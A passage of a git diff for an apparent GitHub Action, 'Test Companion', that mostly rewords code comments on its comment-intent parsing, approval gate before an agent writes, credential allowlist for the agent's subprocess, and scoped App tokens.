this run.`) - } else { - const total = summary.accessibility_total - lines.push( - `**Accessibility (WCAG ${level.toUpperCase()}):** ${introduced} introduced by this change` + - (total === undefined ? "." : `, ${total} on the page in all.`), - ) - } - } - - if (visual) { - const changes = summary.visual_changes - if (changes === undefined) { - lines.push("**Visual:** no result reported by this run.") - } else { - const link = summary.visual_url ? ` ${summary.visual_url}` : "" - lines.push(`**Visual:** ${changes} changes awaiting review.${link}`) - } - } - return lines -} - -/** - * May accessibility turn the check red? — FR-45. - * - * Only when the settings say so, and only for violations THIS CHANGE - * introduced. Failing a pull request for the state of a page it never touched - * is how a gate gets switched off for good, and a gate nobody runs protects - * nothing. - * - * A run that reported no number has not failed: absence is not a violation. - */ -export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) { - if (!String(wcag ?? "").trim() || !failOnNew) return false - const introduced = Number(summary.accessibility_new) - return Number.isFinite(introduced) && introduced > 0 -} - -/** - * The body of a proposal — FR-38, FR-43. - * - * The first live run posted a proposal containing only a report header. The - * run had designed nine test cases and verified each one by probing the - * implementation; none of it reached the comment, because the proposal was - * only ever handed the job summary. - * - * A proposal with no plan in it cannot be reviewed, which makes approving it - * meaningless — so an absent plan says so out loud rather than rendering a - * confident-looking empty proposal. - */ -export function renderProposalBody({ summary, plan, sizeNote } = {}) { - const parts = [] - // FR-44's warning goes above the list, where it can still change what the - // reviewer approves. - if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") - if (String(summary ?? "").trim()) parts.push(summary, "") - - const body = String(plan ?? "").trim() - // Only `test-pr` writes a separate plan file. For every other job the - // proposal run is a PREVIEW run — it does the work and writes nothing — - // so its report above IS what is being approved. Saying "there is nothing - // here to approve" told the reader to re-run something that had worked. - const noPlan = String(summary ?? "").trim() - ? "_The report above is what this run would do. Nothing has been written._" - : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" - parts.push(body || noPlan) - return parts.join("\n") -} - -/** - * A proposal on this pull request that a newer commit has left behind — FR-44. - * - * FR-44 keys a proposal to a commit, so a new commit silently replaces it. - * That is the right safety behaviour: a plan written against code that has - * since changed must never be carried out. But silence is the wrong way to - * say it. - * - * Observed live on 2026-10-29: someone replied "go" after the branch moved and - * was told "No @test-companion mention, so nothing was asked of Test - * Companion." They had given a valid approval word, and the actual reason was - * sitting in the comment history. - * - * Only our own comments count, so a person quoting the marker cannot - * manufacture one. - */ -export function findSupersededProposal(comments, sha) { - const current = String(sha ?? "").trim() - // Same reader as findProposal, so the two cannot drift again. - const stale = (comments ?? []).filter((c) => { - if (c?.user?.type !== "Bot") return false - const found = readMarker(c.body) - return Boolean(found) && found.sha !== current - }) - if (stale.length === 0) return undefined - // Newest wins: with several old plans, the one they most plausibly meant is - // the last one we put up. - const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) - const found = readMarker(newest.body) - return { sha: found?.sha, requester: found?.requester, id: newest.id } -} - -/** - * Create the "Test Companion" check, or update the one this run already made — - * FR-48, "one check, never neutral". - * - * Every call used to POST. A single run posts up to three times — in progress - * before the work, the result after it, and the catch-all on a crash — so a - * pull request collected two or three checks of the same name, and a proposal - * left ITS in-progress one pending forever because nothing ever completed it. - * That is the "blocked by a check that never arrives" failure the design is - * meant to avoid. Reported in review of PR #3101. - * - * Keyed by commit: a run can legitimately check two (the head early on, and - * whatever the report names later), and those are different checks, not an - * update of one another. - */ -export function checkRequestFor(sha, made) { - const existing = made?.get?.(sha) - return existing ? { method: "PATCH", path: `check-runs/${existing}` } : { method: "POST", path: "check-runs" } -} - -/** - * The check a PREVIOUS run left in progress on this commit, if there is one. - * - * checkRequestFor only knows what THIS process created. The nightly sweep runs - * in a different process with an empty memo, so it posted a fresh "Action - * required" check and left the proposal run's in-progress one pending for the - * life of the branch — the exact "blocked by a check that never arrives" - * failure the sweep exists to prevent. - * - * Only ours, and only one still running: a completed check is already - * answered, and another tool's check is none of our business. - */ -export function inFlightCheckId(checks, checkName = "Test Companion") { - const ours = (checks ?? []).filter((c) => c?.name === checkName && c?.status !== "completed") - if (ours.length === 0) return undefined - // Newest, so a stale one from an older run cannot win. - return ours.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).id -} diff --git a/test-companion/src/access.mjs b/test-companion/src/access.mjs index 342ec26..6095d08 100644 --- a/test-companion/src/access.mjs +++ b/test-companion/src/access.mjs @@ -1,21 +1,20 @@ /** - * Who may ask Test Companion for a run — STM-5434 FR-33. + * Who may ask Test Companion for a run. * * Write access is the floor and it is not negotiable. On a public repository * anyone can comment, and a run executes an agent with --yolo against the - * customer's own machine and credentials, so this is the whole access-control - * story for the comment trigger. + * customer's own machine and credentials. * * The pipeline file may NARROW that to a named team. It may never widen it: * being on the team is not a way in for someone who cannot write to the - * repository. That asymmetry is the requirement, and it is the reason this is a - * function rather than two booleans combined at the call site. + * repository. That asymmetry is why this is a function rather than two + * booleans combined at the call site. */ /** * `inTeam` is tri-state on purpose. `undefined` means we could not find out — * no token for the organisation, API down, rate limited — and an unanswerable - * question is a no, matching hasWriteAccess itself. + * question is a no. */ export function mayAsk({ hasWriteAccess, askTeam, inTeam } = {}) { if (!hasWriteAccess) return false @@ -24,19 +23,16 @@ export function mayAsk({ hasWriteAccess, askTeam, inTeam } = {}) { } /** - * Can this run write test code where the settings say it should? — FR-42. + * Can this run write test code where the settings say it should? * * Tests go in the pull request's own repository by default. A repository that * points somewhere else needs either the GitHub App installed on both, or a * token with write access stored as a secret. * - * FR-42 asks for the summary to say WHICH is missing, and that wording is the - * requirement: a bare "permission denied" halfway through a run leaves someone - * guessing between the two, after the credits are already spent. + * The message names WHICH of the two is missing: a bare "permission denied" + * halfway through a run leaves someone guessing, after the credits are spent. * - * `canPush` is tri-state. undefined means we could not find out, and an - * unanswerable question is a no — the same rule as every other access check - * here. + * `canPush` is tri-state, same rule as above — undefined is a no. */ export function describeTestRepoAccess({ testsRepo, thisRepo, canPush } = {}) { const target = String(testsRepo ?? "").trim() diff --git a/test-companion/src/annotations.mjs b/test-companion/src/annotations.mjs index 4155c35..2d77dc9 100644 --- a/test-companion/src/annotations.mjs +++ b/test-companion/src/annotations.mjs @@ -1,28 +1,23 @@ /** - * Putting each failing test on the diff — STM-3663 FR-28, FR-48. + * Putting each failing test on the diff. * - * A check that says "Tests failed" and nothing else makes the reviewer leave - * the pull request, open the run, and read the logs. An annotation puts the - * failure on the line itself, in the files-changed view they are already in. + * An annotation puts the failure on the line itself, in the files-changed + * view the reviewer is already in, instead of sending them to the run logs. * - * ONE HONEST LIMITATION, stated here because it is easy to misread the result: - * the line is where the test is DECLARED, not where the assertion failed. - * Playwright prints `file:line:col` for the test's declaration on every result - * line and prints nothing machine-readable for the failing assertion. The - * declaration is a real place in the right test, which is what makes the - * annotation useful; it is not the failing statement. + * Two limitations, both easy to misread: * - * Reporters that print no locator at all (mocha, and anything driving it such - * as wdio) produce no annotations. Those failures are still named in the - * report — being unable to point at a line is not a reason to say nothing. + * The line is where the test is DECLARED, not where the assertion failed. + * Playwright prints `file:line:col` for the declaration and nothing + * machine-readable for the failing statement. * - * A SECOND LIMITATION worth knowing before someone debugs it: the path comes - * from the reporter, which prints it relative to the test runner's own root - * (Playwright's `testDir`), and GitHub wants it relative to the repository - * root. They are the same thing in the common layout and differ when the suite - * lives in a subdirectory. GitHub silently ignores an annotation whose path it - * cannot place, so the failure mode is a missing annotation rather than a - * wrong one — the failure is still named in the report either way. + * The path comes from the reporter, relative to the test runner's root + * (Playwright's `testDir`), while GitHub wants it relative to the repository + * root. Those match in the common layout and differ when the suite lives in a + * subdirectory; GitHub silently drops an annotation whose path it cannot + * place. + * + * Reporters that print no locator at all (mocha, wdio) produce no + * annotations. Every failure is named in the report either way. */ /** diff --git a/test-companion/src/answer.mjs b/test-companion/src/answer.mjs index 83068df..1aff69d 100644 --- a/test-companion/src/answer.mjs +++ b/test-companion/src/answer.mjs @@ -1,20 +1,13 @@ /** - * Catch the agent's own closing words out of the run's output — STM-5434. + * Catch the agent's own closing words out of the run's output. * * Every job announces what it concluded. Under `--json` the CLI prints one * event per line and `{"event":"answer","text":...}` carries the prose, for - * EVERY verb — run_render.go emits it unconditionally. What varies is only - * whether the CLI also saves it to the result file, which it does for `rca` - * and `verdict` alone (commands/narrative.go). + * every verb. What varies is whether the CLI also saves it to the result + * file, which it does for `rca` and `verdict` alone. * - * So the Action used to show an answer for those two and a bare "Succeeded" - * table for the rest. Worst for `fix` in preview, where prose is the whole - * product: it found the cause, gave the one-line change, and the person who - * asked saw none of it without opening the job log. - * - * The text was already arriving — the Action spawned the CLI with the runner's - * stdout inherited, so it went straight to the log and was never read. This - * reads it on the way past, which needs no change to the CLI and so no release. + * Reading the stream here means every other job can show its answer too — + * it matters most for `fix` in preview, where the prose IS the product. */ import { spawn } from "node:child_process" import { StringDecoder } from "node:string_decoder" @@ -31,8 +24,8 @@ export const MAX_PARTIAL_LINE = 1 << 20 /** * A scanner for the CLI's event stream. * - * Feed it `push(chunk)` as the bytes arrive and `end()` when the process - * closes; `answer()` is the last thing the agent said. + * Feed it `push(chunk)` as the bytes arrive and `end` when the process + * closes; `answer` is the last thing the agent said. */ export function createAnswerCapture() { // Chunk boundaries fall mid-character: agent prose is full of em dashes and @@ -97,17 +90,12 @@ export function createAnswerCapture() { /** * Run a command, showing its output live AND reading it on the way past. * - * The Action used to spawn the CLI with stdout inherited, which is why no job - * but `rca` and `verdict` ever showed an answer: the stream carrying it went - * straight to the log and nothing read it. - * * stdout is piped so it can be scanned and echoed on; stdin and stderr stay - * inherited, so a prompt or a crash reaches the log exactly as before. The - * echo happens first — someone watching a ten-minute run is reading that log, - * and it must not wait on our parsing. + * inherited, so a prompt or a crash reaches the log unchanged. The echo + * happens first — someone watching a ten-minute run must not wait on our + * parsing. * - * Never rejects. A run whose output we could not read has lost its answer, - * which is where we started; it is not a reason to lose the report as well. + * Never rejects. Losing the answer is not a reason to lose the report too. */ export function runCapturingAnswer(command, args, childEnv) { return new Promise((resolve) => { diff --git a/test-companion/src/app-auth.mjs b/test-companion/src/app-auth.mjs index da1910f..72cd47a 100644 --- a/test-companion/src/app-auth.mjs +++ b/test-companion/src/app-auth.mjs @@ -1,20 +1,16 @@ /** - * Signing in as the Test Companion GitHub App — STM-5434 Release 4. + * Signing in as the Test Companion GitHub App. * - * Release 4 buys exactly three things, and this is what makes the first two - * real: the comment and the tick come from "Test Companion" rather than - * github-actions[bot], and the team can delete the permissions block from - * their workflow file because an installation token carries the App's own - * permissions. + * Two effects: the comment and the tick come from "Test Companion" rather + * than github-actions[bot], and the team can delete the permissions block + * from their workflow because an installation token carries the App's own. * - * It does not run anything. A run still happens on the customer's machine - * with their BrowserStack credentials; this only changes who GitHub thinks is - * talking. + * It does not run anything — a run still happens on the customer's machine + * with their credentials. This only changes who GitHub thinks is talking. * - * Zero dependencies, like the rest of the Action: Node's crypto signs the JWT - * and `gh` exchanges it. The private key never leaves this process, and never - * reaches the agent's environment — childEnvFor is an allowlist and these - * names are not on it. + * Zero dependencies: Node's crypto signs the JWT and `gh` exchanges it. The + * private key never leaves this process and never reaches the agent's + * environment — childEnvFor is an allowlist and these names are not on it. */ import { createSign } from "node:crypto" @@ -24,9 +20,8 @@ const b64url = (input) => Buffer.from(input).toString("base64url") /** * The App's credentials, or nothing. * - * Both halves are required: an App id with no key cannot sign, and a key with - * no id cannot say who it is. Either alone means the workflow is half - * configured, and falling back to the workflow token is the right answer — + * Both halves are required: an id with no key cannot sign, a key with no id + * cannot say who it is. Either alone falls back to the workflow token * silently, because a repository that never set this up is the normal case. */ export function appCredentials(env = {}) { @@ -61,23 +56,20 @@ export function signJwt({ appId, privateKey, now = Date.now() / 1000 }) { } /** - * What to ask for when minting an installation token — FR-4. + * What to ask for when minting an installation token: this repository only. * - * FR-4 says the Action uses the App's identity "for that repo only". A token - * minted with no body does the opposite: it carries every permission the - * installation holds across every repository it covers, so a run in one - * repository would hold write access to all of an organisation's. + * A token minted with no body carries every permission the installation + * holds across every repository it covers, so a run in one repository would + * hold write access to all of an organisation's. * - * The permissions are the four the starter workflow asks for, and the four - * this Action actually uses: - * contents — branches and commits for the fix and reconcile jobs - * pull_requests — the one comment, and opening a pull request - * checks — the "Test Companion" check - * actions — reading the red run, and cancelling one when a PR closes + * The four permissions the starter asks for and this Action uses: + * contents — branches and commits for the fix and reconcile jobs + * pull_requests — the one comment, and opening a pull request + * checks — the "Test Companion" check + * actions — reading the red run, and cancelling one when a PR closes * - * Returns undefined for a repository we cannot parse. Falling back to an - * unscoped request would be the worst possible reading of a value we did not - * understand. + * Returns undefined for a repository we cannot parse, rather than falling + * back to an unscoped request. */ export function installationTokenRequest(repo) { const parts = String(repo ?? "").split("/") diff --git a/test-companion/src/child-env.mjs b/test-companion/src/child-env.mjs index e90291d..e765dfe 100644 --- a/test-companion/src/child-env.mjs +++ b/test-companion/src/child-env.mjs @@ -1,24 +1,17 @@ -/** - * What the agent's subprocess is allowed to see — STM-3663 FR-3. - * - * Pulled out of main.mjs so this boundary is testable: everything here is - * readable by shell commands the model chooses to run, which makes it the one - * place in the Action where a mistake hands away a credential. - */ /** * The environment the agent's subprocess gets — an allowlist, not a denylist. * * The run executes shell commands the model chooses, so everything here is - * readable by them. A denylist was the first attempt and was not enough: a - * composite action's own inputs can surface as INPUT_* variables, which would - * have reintroduced the very GitHub token the denylist removed. Listing what - * the CLI needs is the only version that stays correct as the surroundings - * change. + * readable by them. This is the one place in the Action where a mistake hands + * away a credential, which is why it lives in its own testable module. + * + * A denylist is not enough: a composite action's own inputs can surface as + * INPUT_* variables, reintroducing the very token a denylist removed. Listing + * what the CLI needs is the only version that stays correct as the + * surroundings change. * - * Known gap, not solved here: `actions/checkout` leaves a credential in - * .git/config, which this cannot reach. That is the same tension recorded as an - * open item in the tech spec — the pull-request-raising jobs genuinely need a - * push credential inside the run. + * Known gap: `actions/checkout` leaves a credential in .git/config, which + * this cannot reach. */ export function childEnvFor(source) { const KEEP_EXACT = new Set([ diff --git a/test-companion/src/framework.mjs b/test-companion/src/framework.mjs index f97d0b9..b5d63e3 100644 --- a/test-companion/src/framework.mjs +++ b/test-companion/src/framework.mjs @@ -1,9 +1,5 @@ /** - * Which test framework does this repository use? — STM-5434 FR-13. - * - * FR-13 asks for the starter settings file to arrive "with the detected - * framework", so a team opening the pull request sees their own setup - * reflected rather than a generic file. + * Which test framework does this repository use? * * Pure: the caller does the directory walk and the package.json read, this * decides. Guessing WRONG is worse than not guessing — a starter file naming @@ -14,8 +10,8 @@ /** * A config file is stronger evidence than a dependency: it is what actually - * runs. A repository can easily carry `@playwright/test` in devDependencies - * from an experiment while its suite is Cypress. + * runs. A repository can carry `@playwright/test` from an experiment while + * its suite is Cypress. */ const BY_CONFIG = [ [/(^|\/)playwright\.config\.[cm]?[jt]s$/i, "Playwright"], diff --git a/test-companion/src/gate.mjs b/test-companion/src/gate.mjs index 4fd3cb0..46f588f 100644 --- a/test-companion/src/gate.mjs +++ b/test-companion/src/gate.mjs @@ -1,16 +1,13 @@ /** - * Should this request run, or wait for someone to approve it? — STM-5434 FR-43. + * Should this request run, or wait for someone to approve it? * - * The flagship interaction in the PRD: a developer asks, Test Companion says - * what it plans to do, an SDET replies "go", and only then does anything get - * written. + * A developer asks, Test Companion says what it plans to do, a reviewer + * replies "go", and only then is anything written. * - * The mechanism is deliberately boring. A held request is run in PREVIEW and - * its report becomes the proposal. Preview has been enforced in the agent's - * tool dispatch since Release 1, so FR-43's "nothing SHALL be written before - * go" is a property of how the run executes rather than a promise made in a - * prompt. The alternative — a separate "propose only" mode in the brain — - * would be a second thing to keep honest. + * The mechanism is deliberately boring: a held request runs in PREVIEW and + * its report becomes the proposal. Preview is enforced in the agent's tool + * dispatch, so "nothing is written before go" is a property of how the run + * executes rather than a promise made in a prompt. * * Pure, so every branch is testable without a runner. */ @@ -20,11 +17,11 @@ import { INTENT } from "./intent.mjs" export const GATE = Object.freeze({ /** Run it. `preview` says whether for real. */ RUN: "run", - /** Run it in preview and post the report as a proposal, then end — FR-43. */ + /** Run it in preview and post the report as a proposal, then end. */ PROPOSE: "propose", /** A "go" arrived with no proposal waiting. */ NOTHING_TO_APPROVE: "nothing-to-approve", - /** A "go" arrived on a proposal older than the FR-44 window. */ + /** A "go" arrived on a proposal older than the window. */ EXPIRED: "expired", }) @@ -33,10 +30,9 @@ const STRAIGHT_THROUGH = "straight-through" /** * `approval` is the RESOLVED value from `tc workflow bindings --json`. * - * Anything else — an unvalidated value, or a bindings read that failed and left - * it undefined — holds for review. Fails closed, matching ResolvedApproval on - * the Go side: the cost of a needless proposal is one comment, and the cost of - * the other mistake is an unreviewed run that writes. + * Anything else — unvalidated, or a bindings read that failed — holds for + * review. Fails closed: a needless proposal costs one comment, the other + * mistake is an unreviewed run that writes. */ export function decideGate({ intent, approval, proposal, actor, workflow } = {}) { if (intent?.kind === INTENT.GO) { @@ -60,17 +56,14 @@ export function decideGate({ intent, approval, proposal, actor, workflow } = {}) // would be asking permission to write nothing. if (intent?.preview) return { action: GATE.RUN, preview: true } - // The same reasoning, for a job that CANNOT write. `rca` and `verdict` - // produce an explanation and nothing else, so there is nothing for a - // reviewer to approve — and the proposal they got was literally empty, - // because only `test-pr` writes a plan to review. Asking "why did this - // fail?" cost two comments and answered on the second. + // The same reasoning for a job that CANNOT write. `rca` and `verdict` + // produce an explanation and nothing else, so there is nothing to approve + // and the proposal would be empty. // // PREVIEW, not just unheld. Skipping the hold is only safe because the run // cannot write, and that has to be made true rather than assumed: these - // jobs analyse, but they run with --yolo and a shell, and a binding set to - // `mode: live` would otherwise give an unapproved run write tools. - // Preview costs nothing here — an explanation is prose either way. + // jobs run with --yolo and a shell, and a binding set to `mode: live` + // would otherwise hand an unapproved run write tools. if (ANSWER_JOBS.has(workflow)) return { action: GATE.RUN, preview: true } if (approval === STRAIGHT_THROUGH) return { action: GATE.RUN, preview: false } @@ -82,29 +75,25 @@ export function decideGate({ intent, approval, proposal, actor, workflow } = {}) /** * Jobs that produce an explanation and no artefact. * - * One list, used for three things: the gate below, whether the Action shows - * the answer in the comment, and — mirrored in - * cli/pkg/cli/commands/narrative.go — whether the CLI writes the answer to - * the result file at all. + * Used by the gate above and by whether the Action shows the answer in the + * comment. Mirrored on the CLI side, which decides whether to write the + * answer to the result file at all. */ export const ANSWER_JOBS = new Set(["rca", "verdict"]) -/** FR-44's thresholds, both marked ASSUMPTION in the PRD. */ +/** Where a change stops being reviewable in one go. Both are assumptions. */ const MANY_FILES = 20 const MANY_LINES = 1000 /** - * Is this change too big to test in one go? — FR-44. + * Is this change too big to test in one go? * * An unreadable pull request is NOT large. Getting that backwards would tell * every reviewer their change is too big whenever the API call failed. * - * NOT YET: FR-44 goes on to say the run should propose a FOCUSED set and list - * what it left out. Choosing which part of a thirty-file change to test is the - * agent's judgement, and there is no input for handing it that instruction - * today, so this reports the size and lets the reviewer narrow the proposal - * before approving it. Passing a context key nothing reads would look finished - * and do nothing. + * Reports the size only. Choosing which part of a thirty-file change to test + * is the agent's judgement, and there is no input for handing it that + * instruction, so the reviewer narrows the proposal before approving it. */ export function describeChangeSize(pr) { const files = Number(pr?.changed_files ?? 0) diff --git a/test-companion/src/intent.mjs b/test-companion/src/intent.mjs index a344ff1..e172b61 100644 --- a/test-companion/src/intent.mjs +++ b/test-companion/src/intent.mjs @@ -1,20 +1,17 @@ /** - * What did the comment ask for? — STM-5434 FR-34. + * What did the comment ask for? * - * A person writes "@test-companion fix the failing tests" and something has to - * turn that sentence into a job name. That happens HERE, in the Action, before - * the CLI is spawned, for one reason: FR-34 says a request we cannot place gets - * a reply listing what we can do, and "nothing SHALL run". Handing the sentence - * to the agent and letting it work out what was meant would spend the - * customer's credits discovering that "make coffee" was never a job. + * "@test-companion fix the failing tests" becomes a job name here, in the + * Action, before the CLI is spawned. Handing the sentence to the agent + * instead would spend the customer's credits discovering that "make coffee" + * was never a job. * - * Kept pure — text in, intent out, no I/O — like plan-run.mjs beside it, so the - * whole vocabulary is testable in milliseconds instead of a push-and-wait loop. + * Pure — text in, intent out, no I/O — so the whole vocabulary is testable in + * milliseconds. * - * The phrasing people use is NOT a closed set, and this will never match - * everything. That is why UNKNOWN is a real answer rather than a failure: an - * unmatched comment gets the list of what Test Companion can do, which is both - * the honest reply and the cheapest one. + * The phrasing people use is not a closed set, so UNKNOWN is a real answer + * rather than a failure: an unmatched comment gets the list of what Test + * Companion can do. */ /** What a comment turned out to be asking for. */ @@ -23,11 +20,11 @@ export const INTENT = Object.freeze({ WORKFLOW: "workflow", /** Asked us to stop. Nothing stops any more — item 7 — but the word is still answered. */ STOP: "stop", - /** Approve a waiting proposal, which starts the real run — FR-43. */ + /** Approve a waiting proposal, which starts the real run. */ GO: "go", - /** Open the pull request that adds a starter pipeline file — FR-13. */ + /** Open the pull request that adds a starter pipeline file. */ SETUP: "setup", - /** We could not place it. FR-34: reply with the list, run nothing. */ + /** We could not place it.: reply with the list, run nothing. */ UNKNOWN: "unknown", }) @@ -50,8 +47,8 @@ const withoutQuotes = (text) => const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+/i /** - * Still checked before any job word, so - * "stop, don't fix anything" cannot start a fix run. + * Checked before any job word, so "stop, don't fix anything" cannot start a + * fix run. * * ANCHORED, because matching the word anywhere made "don't stop until the * tests pass" cancel the run. What the comment opens with is what it is @@ -59,28 +56,29 @@ const POLITENESS = /^(?:please\s+|pls\s+|can\s+you\s+|could\s+you\s+|kindly\s+)+ * else. */ /** - * STILL RECOGNISED, but it no longer does anything — STM-5434 demo feedback, - * item 7. Proposals already sitting in live threads tell people to say it, and + * STILL RECOGNISED, but it no longer does anything. + * + * Proposals already sitting in live threads tell people to say it, and * answering those with "that did not name anything I can do" would be true and * useless. main.mjs says what to do instead. */ const STOP = /^stop\b/i /** - * FR-13: "set up this repo" opens the pull request that adds the starter file. + * "set up this repo" opens the pull request that adds the starter file. * Anchored for the same reason — "the test setup is broken, fix it" was * opening a settings pull request instead of running fix. */ const SETUP = /^set\s?-?\s?up\b/i -/** FR-8: "Any comment MAY ask for a single preview run." A modifier, not a job. */ +/** "Any comment MAY ask for a single preview run." A modifier, not a job. */ const PREVIEW = /\bpreview\b/i /** Run the bound jobs again on this commit — which is what a re-check is. */ const RECHECK = /\bre-?\s?check\b/i /** - * Approve a waiting proposal — FR-43. + * Approve a waiting proposal. * * Tested AFTER the job words, deliberately. "go" is two letters and turns up * inside ordinary instructions, so a sentence that names a job is read as @@ -93,23 +91,20 @@ const GO = /\b(go|approved?)\b/i * An approval and nothing else. * * ONE definition, exported, because three readers have to agree on it: this - * file (does the reply name a plan?), plan-run.mjs (may an UNADDRESSED comment - * reach us at all?) and report.mjs (did the approver edit the plan?). They did - * not agree, and each disagreement was a bug — the gate dropped `go #1234` - * before it was read, and hasApproverEdits called it an edit, which put the - * comment id into the plan the agent was handed as an instruction that wins. + * file (does the reply name a plan?), plan-run.mjs (may an UNADDRESSED + * comment reach us at all?) and report.mjs (did the approver edit the plan?). + * Each past disagreement between them was a bug. */ export const BARE_APPROVAL = /^\s*(?:go|approved?)\s*[.!]*\s*$/i /** - * An approval that names WHICH plan — `go #1234`, or `go `. + * An approval that names WHICH plan — `go #`, or `go `. * * ANCHORED to the approval word and to the end of the comment. Matching a - * `#id` anywhere turned "go — and pull the steps from #issuecomment-…" - * into an approval of a plan that does not exist, which was then refused - * (STM-5434 review, PR #3286). + * `#id` anywhere would turn "go — and pull the steps from + * #issuecomment-…" into an approval of a plan that does not exist. * - * Six digits at least: a GitHub comment id is a ten-digit number, and `#25` is + * Six digits at least: a GitHub comment id is ten digits, and `#25` is * somebody pointing at a pull request. */ export const APPROVAL_WITH_PLAN = /^\s*(?:go|approved?)\s+\S*#(?:issuecomment-)?(\d{6,})\s*[.!]*\s*$/i @@ -118,25 +113,20 @@ export const APPROVAL_WITH_PLAN = /^\s*(?:go|approved?)\s+\S*#(?:issuecomment-)? export const isApprovalOnly = (text) => BARE_APPROVAL.test(String(text ?? "")) || APPROVAL_WITH_PLAN.test(String(text ?? "")) /** - * WHICH plan a reply is approving — STM-5434 demo feedback, item 5. - * - * `go #6580278184`, or the comment link GitHub gives you when you copy a - * comment's address. A bare `go` names nothing and the newest waiting plan - * wins, which is right when there is one and a coin toss when there are two. + * WHICH plan a reply is approving. * - * Six digits at least. A GitHub comment id is a ten-digit number; `#25` in a - * reply is somebody pointing at a pull request, and reading that as a plan id - * would find no plan and refuse an approval that was perfectly clear. + * `go #`, or the comment link GitHub gives you when you copy a comment's + * address. A bare `go` names nothing and the newest waiting plan wins, which + * is right when there is one and a coin toss when there are two. */ const namedProposal = (text) => APPROVAL_WITH_PLAN.exec(String(text ?? ""))?.[1] /** * Plain words to job names, most specific first. * - * The names on the right are the CLI's, not the PRD's — `tc workflow run` only - * accepts what is in registry.go's builtinNames, so "explain" has to become - * `rca` and "find the bad PR" has to become `verdict` here or the run fails - * with "unknown workflow". That translation is the whole point of this table. + * The names on the right are the CLI's: `tc workflow run` only accepts its + * own registered jobs, so "explain" has to become `rca` and "find the bad PR" + * has to become `verdict` here, or the run fails with "unknown workflow". */ const PHRASES = [ // Before the `fix` rule: "find the bad PR" shares no word with it, but @@ -146,11 +136,10 @@ const PHRASES = [ // Each phrase maps to a PREFERENCE LIST: the first one this repository has // actually bound wins, and the first overall is the fallback. // - // "test this PR" is why the list exists. It used to map to `test`, which - // runs a project's EXISTING suite and never reads the diff — the very - // behaviour test-pr was built to replace. A repository still bound to the - // older job keeps working; one that has moved gets the job that reads the - // change. (Found by the first live run, rag_assignment PR #20.) + // "test this PR" is why the list exists. `test` runs a project's EXISTING + // suite and never reads the diff, which is what test-pr replaced. A + // repository still bound to the older job keeps working; one that has + // moved gets the job that reads the change. [/\btest\s+(this\s+)?(pr|pull request|change|diff)\b/i, ["test-pr", "test"]], [/\bexplain\b/i, ["rca"]], [/\bfix\b/i, ["fix"]], @@ -160,12 +149,10 @@ const PHRASES = [ const pickBound = (candidates, workflows) => candidates.find((c) => (workflows ?? []).includes(c)) ?? candidates[0] /** - * A job asked for by its own name — FR-34. + * A job asked for by its own name. * - * PHRASES covers the wording the PRD lists, which is four of the CLI's - * fourteen jobs. FR-34 asks for "any BOUND workflow in plain words", and - * naming a job IS plain words, so the names the repository has actually bound - * are matched literally as a fallback. + * PHRASES covers four of the CLI's fourteen jobs, so the names a repository + * has actually bound are matched literally as a fallback. * * Longest first, so "mobile run" is never read as "run". Word boundaries, so * "regenerated the lockfile" is not a request to run `generate`. @@ -190,17 +177,14 @@ const wordsOf = (text) => /** * Does `said` contain `name` as a consecutive run of WHOLE words? * - * This replaced a regex built per name from the name itself. The regex was - * escaped and safe, but a pattern assembled from input is a pattern someone - * can get wrong later, and Semgrep flagged it twice - * (browserstack/github-actions#91, findings 8 and 12). Comparing words needs - * no escaping at all. + * Word comparison rather than a regex built from the name, so there is + * nothing to escape. * - * One deliberate difference: punctuation inside a name is now a word break, - * so a job called `a.c` is also found in the words "a c". Names come from the - * repository's own pipeline file and are ordinary words in practice, and - * being slightly more willing to recognise one is the safe direction — the - * alternative is telling someone their own job name is not a job. + * One consequence: punctuation inside a name is a word break, so a job called + * `a.c` is also found in the words "a c". Names come from the repository's own + * pipeline file, and being slightly more willing to recognise one is the safe + * direction — the alternative is telling someone their own job name is not a + * job. */ const saysAll = (said, name) => name.length > 0 && said.some((_, i) => name.every((w, j) => said[i + j] === w)) @@ -223,12 +207,11 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal const preview = PREVIEW.test(text) - // With a plan waiting, an approval is what a reply most likely IS — and - // FR-43 invites edits alongside it ("you can edit the list first"). Job - // words match anywhere, so testing them first read "go, and fix case 3's - // title" as a fresh request for `fix` and quietly dropped the approval - // (M4, review of #3101). Still after STOP: approving and cancelling in one - // breath has to cancel. + // With a plan waiting, a reply most likely IS an approval — and edits + // alongside it are invited ("you can edit the list first"). Job words + // match anywhere, so testing them first would read "go, and fix case 3's + // title" as a fresh request for `fix` and drop the approval. Still after + // STOP: approving and cancelling in one breath has to cancel. if (proposalWaiting && GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } for (const [pattern, candidates] of PHRASES) { @@ -241,7 +224,7 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal const named = namedWorkflow(text, workflows) if (named) return { kind: INTENT.WORKFLOW, workflow: named, preview } - // FR-43: a reply of "go", with or without edits to the case list. + // a reply of "go", with or without edits to the case list. if (GO.test(text)) return { kind: INTENT.GO, proposalId: namedProposal(text) } // No job named, but a clear ask: run whatever the pipeline file binds to this @@ -254,13 +237,12 @@ export function readIntent(instructions, { workflows = [], proposalWaiting = fal } /** - * What to offer when we could not place a request — FR-34. + * What to offer when we could not place a request. * - * Deliberately only what actually works today. The PRD also names reconcile and - * "automate the backlog", and neither exists as a `tc` job yet; listing them - * would invite a request we would then have to refuse a second time. + * Only what actually works today: advertising a job that does not exist + * invites a request we would have to refuse a second time. * - * Kept next to PHRASES on purpose: a phrase people can type and a phrase we + * Kept next to PHRASES on purpose — a phrase people can type and a phrase we * advertise should never drift apart. */ export const CAPABILITIES = Object.freeze([ diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 76a68b9..9918331 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -1,5 +1,5 @@ /** - * The Action's entry point — STM-3663 Release 2. + * The Action's entry point. * * Deliberately thin. Every decision worth testing lives in plan-run.mjs, * outcome.mjs and report.mjs, which are pure and run under `node --test` in @@ -76,14 +76,14 @@ const RUN_URL = `${env.GITHUB_SERVER_URL ?? 